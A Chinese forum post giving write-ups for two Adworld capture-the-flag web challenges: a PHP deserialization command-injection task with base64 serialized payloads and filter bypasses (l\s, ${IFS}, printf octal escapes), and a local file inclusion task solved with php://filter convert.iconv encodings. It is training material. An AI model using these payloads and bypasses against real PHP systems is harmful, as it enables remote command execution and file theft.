双剑破天门:攻防世界Web题解之独孤九剑心法(一)

锦通  论坛元老 | 2025-4-17 10:40:17 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1584|帖子 1584|积分 4752


免责声明:用户因利用公众号内容而产生的任何行为和后果,由用户自行负担责任。本公众号不负担因用户误解、不当利用等导致的法律责任

**本文以攻防世界部门题为例进行演示,后续会对攻防世界大部门的web题目进行演示,如果你感爱好请关注**

目录

一:攻防世界web-Unseping
二:攻防世界web-file_include
三:总结

一:攻防世界web-Unseping

开发现为php代码,我们先辈行代码审计

  1. //靶场代码如下
  2. <?php
  3. highlight_file(__FILE__);
  4. class ease{
  5.     private $method;
  6.     private $args;
  7.     function __construct($method, $args) {
  8.         $this->method = $method;
  9.         $this->args = $args;
  10.     }
  11.     function __destruct(){
  12.         if (in_array($this->method, array("ping"))) {
  13.             call_user_func_array(array($this, $this->method), $this->args);
  14.         }
  15.     }
  16.     function ping($ip){
  17.         exec($ip, $result);
  18.         var_dump($result);
  19.     }
  20.     function waf($str){
  21.         if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
  22.             return $str;
  23.         } else {
  24.             echo "don't hack";
  25.         }
  26.     }
  27.     function __wakeup(){
  28.         foreach($this->args as $k => $v) {
  29.             $this->args[$k] = $this->waf($v);
  30.         }
  31.     }
  32. }
  33. $ctf=@$_POST['ctf'];
  34. @unserialize(base64_decode($ctf));
  35. $payload=new ease(method:'ping', args:array('l/s'));
  36. echo base64_encode(serialize($payload));
  37. ?>
复制代码
  1:首先利用post方法接受一个CTF并赋值给$ctf
  
  2:将$ctf进行base64编码后再反序列化
  _wakeup:在反序列化时被调用
  
  3:调用_wakeup方法,将$this->arg进行遍历(也就是调用waf方法对$v进行过滤,然后将过滤后的$v在赋值给 $this->args也就是$k
  
  
4:接受一个$str参数,然后利用if语句对str进行正则 查抄。如果不包含就返回$str反之输出don’t hack

  

  
_destruct:在脚本结束时调用

  
call_user_func_array :是 PHP 里一个相当实用的函数,它能动态调用函数或者方法,并且可以把参数以数组形式传递给被调用的函数或方法

  
  
5:首先判断$this->method是否为ping 如果为ping则调用$this->method方法也就是pin方法并将$this->args传给该方法,也就是传递给6

  
  
6:接受一个$ip也就是$this->metgod ,利用exrc执行$ip下令并将结果存在$result中最后在打印出来。

  
  
7:定义一个类然后声明两个私有属性,创建一个函数在类被调用时吸收两个参数并赋值给$this->method和$this->args

  
  
以是根据上述审计结果,代码流程为:首先吸收post哀求的CTF并将其base64编码后反序列化然后调用_wakeup方法遍历过滤在调用_deestruct方法进行调用ping,在ping中执行exrc方法。

  
构建payload:

1.创建一个新的ease对象设置method为“ping” args为执行的下令

2.由于ls被过滤以是ls=l/s就可以绕过

   $payload=new ease(method:'ping', args:array('l/s'));
  echo base64_encode(serialize($payload));
  
留意要英文书写

  

   
序列化得到:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

  
得到flag目录修改payload检察此目录


   
${IFS}=空格

  

   
Payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZmxcYWdfMXNfaGVyZSI7fX0=

  

得到flag文件检察这个文件在构建payload

   
Payload:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoibW9yZSR7SUZTfWZsXGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZsXGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=

   
More:检察文件

  
$(printf${IFS}”\57”)=\

  

得到flag



二:攻防世界web-file_include

打开为如下所示


  1. //靶场代码
  2. <?php
  3. highlight_file(__FILE__);
  4.     include("./check.php");
  5.     if(isset($_GET['filename'])){
  6.         $filename  = $_GET['filename'];
  7.         include($filename);
  8.     }
  9. ?>
复制代码
文件包含了一个check.php但我们访问不到,如何读取这个文件,我们利用php伪协议:php:/filter

   
常见的伪协议有:

  
php://filter/read=convert.base64-encode/resource=flag.php

  
php://filter/resource=flag.php

  
通过实行这两个都不可以



尝试其他伪协议

   
convert.iconv.<input-encoding>原始文件字符编码.<output-encoding>目的文件字符编码 (转化过滤器)

  1. //字符编码
  2. UCS-4*
  3. UCS-4BE
  4. UCS-4LE*
  5. UCS-2
  6. UCS-2BE
  7. UCS-2LE
  8. UTF-32*
  9. UTF-32BE*
  10. UTF-32LE*
  11. UTF-16*
  12. UTF-16BE*
  13. UTF-16LE*
  14. UTF-7
  15. UTF7-IMAP
  16. UTF-8*
  17. ASCII*
复制代码
我们利用bp尝试,对两个字符编码进行爆破,爆破字典如上

爆破成功得到flag,这道题目考察的是convert.iconv.<input-encoding>.<output-encoding> 伪协议



三:总结

攻防世界Web题中反序列化漏洞常考察PHP对象注入及把戏方法利用,伪协议题目多涉及php://filter、phar://等协议进行文件读取/反序列化攻击,需机动运用编码转换和特性绕过防护。

(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

锦通

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表